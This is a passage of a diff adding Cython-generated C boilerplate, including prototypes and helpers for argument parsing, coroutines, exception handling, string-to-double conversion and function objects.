num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pyobject_as_double.proto */ +static double __Pyx__PyObject_AsDouble(PyObject* obj); +#if CYTHON_COMPILING_IN_PYPY +#define __Pyx_PyObject_AsDouble(obj)\ +(likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyInt_CheckExact(obj)) ?\ + PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#else +#define __Pyx_PyObject_AsDouble(obj)\ +((likely(PyFloat_CheckExact(obj))) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyLong_CheckExact(obj)) ?\ + PyLong_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#endif + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + 